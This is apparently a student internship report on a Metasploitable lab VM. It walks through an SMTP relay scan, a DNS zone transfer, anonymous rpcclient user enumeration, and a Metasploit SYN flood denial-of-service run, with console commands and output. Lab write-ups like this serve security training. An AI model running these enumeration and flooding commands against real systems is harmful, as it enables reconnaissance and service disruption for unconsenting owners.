

INTERNSHIP PROJECT

Metasploitable server Ip address used for the project:

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:11:03:35
          inet addr:192.168.20.4  Bcast:192.168.20.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe11:335/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:19 errors:0 dropped:0 overruns:0 frame:0
          TX packets:65 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3130 (3.0 KB)  TX bytes:6830 (6.6 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:91 errors:0 dropped:0 overruns:0 frame:0
          TX packets:91 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:19301 (18.8 KB)  TX bytes:19301 (18.8 KB)

msfadmin@metasploitable:~$ S_
```

SMTP OPEN RELAY :

```
(kali@kali)-[/home/kali]
PS> msfconsole

3Kom SuperHack II Logon
-----
User Name: [ security ]
Password: [ ]
[ OK ]
https://metasploit.com

-[ metasploit v6.3.21-dev ]
+ --[ 2327 exploits - 1218 auxiliary - 413 post ]
+ --[ 1385 payloads - 46 encoders - 11 nops ]
+ --[ 9 evasion ]

Metasploit tip: Save the current environment with the
save command, future console restarts will use this
environment again
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use auxiliary/scanner/smtp/smtp_

Matching Modules
=====
# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/scanner/smtp/smtp_version normal No SMTP Banner Grabber
1 auxiliary/scanner/smtp/smtp_ntlm_domain normal No SMTP NTLM Domain Extracti
on
2 auxiliary/scanner/smtp/smtp_relay normal No SMTP Open Relay Detection
3 auxiliary/scanner/smtp/smtp_enum normal No SMTP User Enumeration Uti
lity
```

```
msf6 > use auxiliary/scanner/smtp/smtp_relay
msf6 auxiliary(scanner/smtp/smtp_relay) > show options

Module options (auxiliary/scanner/smtp/smtp_relay):

Name Current Setting Required Description
- - - - -
EXTENDED false yes Do all the 16 extended checks
MAILFROM sender@example.com yes FROM address of the e-mail
MAILTO target@example.com yes TO address of the e-mail
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/us
ing-metasploit/basics/using-metasploit.html
RPORT 25 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smtp/smtp_relay) > set RHOSTS 192.168.20.4
RHOSTS => 192.168.20.4
msf6 auxiliary(scanner/smtp/smtp_relay) > run

[+] 192.168.20.4:25 - SMTP 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)\x0d\x0a
[*] 192.168.20.4:25 - No relay detected
[*] 192.168.20.4:25 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smtp/smtp_relay) >
```

Start msfconsole to execute smtp relay.

On command : use auxiliary/scanner/smtp/smtp_ ; you'll find all the different domains .

we use smtp_relay;

on command show options: It displays all the module options. You'll observe that the RHOSTS option is empty . Using the metasploitable server you find its ipaddress and set RHOSTS to that ipaddress and run.

This will run the smtp relay to that ipaddress.

ZONE TRANSFER:

```
(kali㉿kali)-[~]
$ dnsenum zonetransfer.me
dnsenum VERSION:1.2.6

----- zonetransfer.me -----
Host's addresses:
-----
zonetransfer.me.                7200      IN      A       5.196.105.14

Name Servers:
-----
nsztm1.digi.ninja.              10800     IN      A       81.4.108.41
nsztm2.digi.ninja.              10800     IN      A       34.225.33.2

Mail (MX) Servers:
-----
ASPMX2.GOOGLEMAIL.COM.          293       IN      A       173.194.202.27
ASPMX.L.GOOGLE.COM.             293       IN      A       172.217.194.26
ASPMX3.GOOGLEMAIL.COM.          293       IN      A       142.250.141.26
ASPMX4.GOOGLEMAIL.COM.          293       IN      A       142.250.115.27
ASPMX5.GOOGLEMAIL.COM.          293       IN      A       64.233.171.26
ALT1.ASPMX.L.GOOGLE.COM.        293       IN      A       173.194.202.26
ALT2.ASPMX.L.GOOGLE.COM.        293       IN      A       142.250.141.26

Trying Zone Transfers and getting Bind Versions:
-----

Trying Zone Transfer for zonetransfer.me on nsztm1.digi.ninja ...
zonetransfer.me.                7200      IN      SOA      (
zonetransfer.me.                300       IN      HINFO    "Casio
zonetransfer.me.                301       IN      TXT      (
zonetransfer.me.                7200      IN      MX       0
zonetransfer.me.                7200      IN      MX       10
zonetransfer.me.                7200      IN      MX       10
zonetransfer.me.                7200      IN      MX       20
zonetransfer.me.                7200      IN      MX       20
zonetransfer.me.                7200      IN      MX       20
zonetransfer.me.                7200      IN      MX       20
zonetransfer.me.                7200      IN      A        5.196.105.14
zonetransfer.me.                7200      IN      NS       nsztm1.digi.ninja.
zonetransfer.me.                7200      IN      NS       nsztm2.digi.ninja.
_acme-challenge.zonetransfer.me. 301       IN      TXT      (
_sip._tcp.zonetransfer.me.       14000     IN      SRV      0
```

Dnsenum zonetransfer.me gives every possible data related to that domain address like the host addresses,name servers,mail servers etc

NetBios:

```

(root@kali)-[~]
# rpcclient -U "" 192.168.20.4
Password for [WORKGROUP\]:
rpcclient $> querydomaininfo
Domain: WORKGROUP
Server: METASPLOITABLE
Comment: metasploitable server (Samba 3.0.20-Debian)
Total Users: 35
Total Groups: 0
Total Aliases: 0
Sequence No: 1693306197
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
rpcclient $> enumdomusers
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x402]
user:[syslog] rid:[0x4b4]
user:[user] rid:[0xbba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[postgres] rid:[0x4c0]
user:[bin] rid:[0x3ec]
user:[mail] rid:[0x3f8]
user:[distccd] rid:[0x4c6]
user:[proftpd] rid:[0x4ca]
user:[dhcpd] rid:[0x4b2]
user:[daemon] rid:[0x3ea]
user:[sshd] rid:[0x4b8]
user:[man] rid:[0x3f4]
user:[lp] rid:[0x3f6]
user:[mysql] rid:[0x4c2]
user:[gnats] rid:[0x43a]
user:[libuuid] rid:[0x4b0]
user:[backup] rid:[0x42c]
user:[msfadmin] rid:[0xbb8]
user:[telnetd] rid:[0x4c8]
user:[sys] rid:[0x3ee]
user:[klog] rid:[0x4b6]
user:[postfix] rid:[0x4bc]
user:[service] rid:[0xbbc]
user:[list] rid:[0x434]
user:[irc] rid:[0x436]
user:[ftp] rid:[0x4be]
user:[tomcat55] rid:[0x4c4]
user:[sync] rid:[0x3f0]
user:[uucp] rid:[0x3fc]
rpcclient $> queryuser root

```

```

rpcclient $> queryuser root
User Name : root
Full Name : root
Home Drive : \\metasploitable\root
Dir Drive : \\metasploitable\root
Profile Path: \\metasploitable\root\profile
Logon Script:
Description :
Workstations:
Comment : (null)
Remote Dial :
Logon Time : Wed, 31 Dec 1969 19:00:00 EST
Logoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Kickoff Time : Wed, 13 Sep 30828 22:48:05 EDT
Password last set Time : Wed, 31 Dec 1969 19:00:00 EST
Password can change Time : Wed, 31 Dec 1969 19:00:00 EST
Password must change Time: Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31] ...
user_rid : 0x3e8
group_rid: 0x3e9
acb_info : 0x00000011
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7] ...
logon_hrs[0..21] ...
rpcclient $>

```

The command : `rpcclient -U "" 192.168.20.4` starts rpcclient for that ip address

Further commands like :

Querydomaininfo:

Gives basic information of that ip address like the domain,server,total users,sequence number etc.

Gives data about the user root

Sniffing:

```
[*] exec: sudo msfconsole

[sudo] password for kali:

# cowsay++
      \   ^__^
      (oo)\_______
      (_______)
      ||----w |
      ||     ||

[*] [msf6] > use auxiliary/dos/tcp/synflood
[*] [msf6] > show options
Module options (auxiliary/dos/tcp/synflood):

  Name      Current Setting  Required  Description
  ----      -
  INTERFACE  no               no        The name of the interface
  NUM        no               no        Number of SYNs to send (else unlimited)
  RHOSTS     192.168.20.4     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      80              no        The target port
  SHOST      no               no        The spoofable source address (else randomizes)
  SNAPLEN    65535           yes       The number of bytes to capture
  SPORT      no               no        The source port (else randomizes)
  TIMEOUT    500             yes       The number of seconds to wait for new data

View the full module info with the info, or info -d command.

msf6 auxiliary(dos/tcp/synflood) > set RHOSTS 192.168.20.4
RHOSTS => 192.168.20.4
msf6 auxiliary(dos/tcp/synflood) > run
[*] Running module against 192.168.20.4

[*] SYN flooding 192.168.20.4:80 ...
^C[+] Stopping running against current target ...
[*] Control-C again to force quit all targets.
[*] Auxiliary module execution completed
msf6 auxiliary(dos/tcp/synflood) >
```

No.	Time	Source	Destination	Protocol	Length	Info
40142	5455.1299547	0.0.0.0:213.230	192.168.20.4	TCP	54	410 - 80 [SYN] Seq=0 Win=3733 Len=0
40143	5455.1308533	0.0.0.0:213.230	192.168.20.4	TCP	54	22074 - 80 [SYN] Seq=0 Win=1219 Len=0
40144	5455.1314223	0.0.0.0:213.230	192.168.20.4	TCP	54	13649 - 80 [SYN] Seq=0 Win=317 Len=0
40145	5455.1320517	0.0.0.0:213.230	192.168.20.4	TCP	54	[TCP Port numbers reused] 4172 - 80 [SYN] Seq=0 Win=3719 Len=0
40146	5455.1331436	0.0.0.0:213.230	192.168.20.4	TCP	54	56059 - 80 [SYN] Seq=0 Win=2084 Len=0
40147	5455.1339293	0.0.0.0:213.230	192.168.20.4	TCP	54	[TCP Port numbers reused] 14503 - 80 [SYN] Seq=0 Win=1033 Len=0
40148	5455.1342530	0.0.0.0:213.230	192.168.20.4	TCP	54	50731 - 80 [SYN] Seq=0 Win=3156 Len=0
40149	5455.1351357	0.0.0.0:213.230	192.168.20.4	TCP	54	21111 - 80 [SYN] Seq=0 Win=2113 Len=0
40150	5455.1356818	0.0.0.0:213.230	192.168.20.4	TCP	54	26928 - 80 [SYN] Seq=0 Win=2883 Len=0
40151	5455.1365600	0.0.0.0:213.230	192.168.20.4	TCP	54	[TCP Port numbers reused] 16609 - 80 [SYN] Seq=0 Win=725 Len=0
40152	5455.1372372	0.0.0.0:213.230	192.168.20.4	TCP	54	19261 - 80 [SYN] Seq=0 Win=1175 Len=0
40153	5455.1377665	0.0.0.0:213.230	192.168.20.4	TCP	54	63128 - 80 [SYN] Seq=0 Win=190 Len=0
40154	5455.1383371	0.0.0.0:213.230	192.168.20.4	TCP	54	[TCP Port numbers reused] 39144 - 80 [SYN] Seq=0 Win=1939 Len=0
40155	5455.1392743	0.0.0.0:213.230	192.168.20.4	TCP	54	9211 - 80 [SYN] Seq=0 Win=1850 Len=0
40156	5455.1398168	0.0.0.0:213.230	192.168.20.4	TCP	54	[TCP Port numbers reused] 16088 - 80 [SYN] Seq=0 Win=658 Len=0
40157	5455.1404308	0.0.0.0:213.230	192.168.20.4	TCP	54	[TCP Port numbers reused] 30940 - 80 [SYN] Seq=0 Win=240 Len=0
40158	5455.1411421	0.0.0.0:213.230	192.168.20.4	TCP	54	[TCP Port numbers reused] 39222 - 80 [SYN] Seq=0 Win=3431 Len=0
40159	5455.1418236	0.0.0.0:213.230	192.168.20.4	TCP	54	32988 - 80 [SYN] Seq=0 Win=1470 Len=0
40160	5455.1422660	0.0.0.0:213.230	192.168.20.4	TCP	54	[TCP Port numbers reused] 60452 - 80 [SYN] Seq=0 Win=3396 Len=0
40161	5455.1429158	0.0.0.0:213.230	192.168.20.4	TCP	54	64528 - 80 [SYN] Seq=0 Win=1454 Len=0
40162	5455.1433905	0.0.0.0:213.230	192.168.20.4	TCP	54	38141 - 80 [SYN] Seq=0 Win=3827 Len=0
40163	5455.1436825	0.0.0.0:213.230	192.168.20.4	TCP	54	[TCP Port numbers reused] 30820 - 80 [SYN] Seq=0 Win=3858 Len=0
40164	5455.1443603	0.0.0.0:213.230	192.168.20.4	TCP	54	53521 - 80 [SYN] Seq=0 Win=2196 Len=0

Dos or Denial of service attack send lots of packets across the network disabling the legitimate user to use the website.

Here again starting , msfconsole.

We use auxiliary/dos/tcp/synflood , and set RHOSTs to the metasploitable server ip address.

By running this,as you can see in the screenshot, multiple packets through TCP protocol flood the metasploitable server. This will deny the user of its service.